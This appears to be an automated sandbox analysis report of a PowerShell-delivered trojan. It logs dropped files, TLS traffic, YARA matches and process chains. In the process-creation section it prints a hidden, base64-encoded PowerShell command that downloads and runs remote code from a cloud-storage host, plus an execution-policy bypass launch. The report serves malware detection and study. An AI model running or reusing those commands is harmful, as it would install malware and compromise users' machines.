Source: Setup.exe, 00000006.00000002.2969968108.0000000002B4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175360678.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352324403.0000000002AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.comP/CPS-d
Source: msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Setup.exe, 00000006.00000003.2953986447.00000000034CF000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000003.3167220055.0000000003665000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: msiexec.exe, 0000000E.00000003.3501467045.000000000551F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: msiexec.exe, 0000000E.00000003.3501467045.000000000551F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: msiexec.exe, 0000000E.00000003.3501467045.000000000551F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: msiexec.exe, 0000000E.00000003.3501467045.000000000551F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: msiexec.exe, 0000000E.00000003.3501467045.000000000551F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: msiexec.exe, 0000000E.00000003.3501467045.000000000551F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979

Source: unknown	HTTPS traffic detected: 149.129.12.34:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.85:443 -> 192.168.2.5:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.3.16:443 -> 192.168.2.5:49984 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 6380, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1352, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\RcClientBase.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Data\Updater.ex	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\NAudio.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\UpdateCommon.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Data\ffmpeg.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\UpdateClient.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Data\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Resource.ct	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\config.prx	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\msvcr90.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\python27.dll	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C26EA5C	7_2_00007FF70C26EA5C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C271D84	7_2_00007FF70C271D84
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C26CDFC	7_2_00007FF70C26CDFC
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C268E00	7_2_00007FF70C268E00
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C25DDD8	7_2_00007FF70C25DDD8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C2766C4	7_2_00007FF70C2766C4
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C26469C	7_2_00007FF70C26469C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C271F90	7_2_00007FF70C271F90
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C2767A8	7_2_00007FF70C2767A8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C26D808	7_2_00007FF70C26D808
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C25E05C	7_2_00007FF70C25E05C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C2640E0	7_2_00007FF70C2640E0
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C273A14	7_2_00007FF70C273A14
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C2621D8	7_2_00007FF70C2621D8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C276A3C	7_2_00007FF70C276A3C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C26EA5C	7_2_00007FF70C26EA5C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C26FACC	7_2_00007FF70C26FACC
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C259ABC	7_2_00007FF70C259ABC
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C268414	7_2_00007FF70C268414
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C261CD8	7_2_00007FF70C261CD8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 7_2_00007FF70C2784D8	7_2_00007FF70C2784D8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEAD808	11_2_00007FF7AEEAD808
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEB67A8	11_2_00007FF7AEEB67A8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEB1F90	11_2_00007FF7AEEB1F90
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEA40E0	11_2_00007FF7AEEA40E0
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEE9E05C	11_2_00007FF7AEE9E05C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEA8E00	11_2_00007FF7AEEA8E00
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEACDFC	11_2_00007FF7AEEACDFC
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEE9DDD8	11_2_00007FF7AEE9DDD8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEB1D84	11_2_00007FF7AEEB1D84
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEAEA5C	11_2_00007FF7AEEAEA5C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEB66C4	11_2_00007FF7AEEB66C4
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEA469C	11_2_00007FF7AEEA469C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEA8414	11_2_00007FF7AEEA8414
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEA1CD8	11_2_00007FF7AEEA1CD8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEB84D8	11_2_00007FF7AEEB84D8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEB3A14	11_2_00007FF7AEEB3A14
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEA21D8	11_2_00007FF7AEEA21D8
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEAFACC	11_2_00007FF7AEEAFACC
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEE99ABC	11_2_00007FF7AEE99ABC
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEAEA5C	11_2_00007FF7AEEAEA5C
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: 11_2_00007FF7AEEB6A3C	11_2_00007FF7AEEB6A3C

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\nmovbfii A327EAFC8441768C377971350A15B895D289F8D780593B1FF4BEF217A9822FE6

Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: String function: 00007FF7AEE9115C appears 33 times
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: String function: 00007FF70C256630 appears 48 times
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: String function: 00007FF70C25115C appears 33 times
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Code function: String function: 00007FF7AEE96630 appears 48 times

Source: Resource.ct.3.dr

Static PE information: Number of sections : 14 > 10

Source: Process Memory Space: powershell.exe PID: 6380, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1352, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: UpdateClient.dll.3.dr, SimpleZip.cs	Cryptographic APIs: 'CreateDecryptor'
Source: UpdateClient.dll.3.dr, SimpleZip.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: UpdateClient.dll.3.dr, SimpleZip.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: UpdateCommon.dll.3.dr, SimpleZip.cs	Cryptographic APIs: 'CreateDecryptor'
Source: UpdateCommon.dll.3.dr, SimpleZip.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: UpdateCommon.dll.3.dr, SimpleZip.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: UpdateCommon.dll.3.dr, InstalledModule.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winPS1@23/217@3/3

Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe

Code function: 7_2_00007FF70C256728 GetLastError,FormatMessageA,MessageBoxA,fwprintf,LocalFree,

7_2_00007FF70C256728

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe

Code function: 6_2_00401540 FindResourceA,LoadResource,LockResource,_snprintf,LoadLibraryA,GetProcAddress,strncmp,strncmp,strncmp,UnmapViewOfFile,

6_2_00401540

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5732:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7940:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6516:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_awkv2nex.itb.ps1

Jump to behavior

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Command line argument: windows_exe	6_2_00401110
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Command line argument: sys	6_2_00401110
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Command line argument: _MessageBox	6_2_00401110
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Command line argument: windows_exe	10_2_00401110
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Command line argument: sys	10_2_00401110
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Command line argument: _MessageBox	10_2_00401110

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: Setup.exe	String found in binary or memory: sun/launcher/LauncherHelper
Source: Setup.exe	String found in binary or memory: -help
Source: Setup.exe	String found in binary or memory: -help
Source: Setup.exe	String found in binary or memory: sun/launcher/LauncherHelper

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\file.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) \| iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe "C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe"
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe "C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe"
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe "C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) \| iex"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe "C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
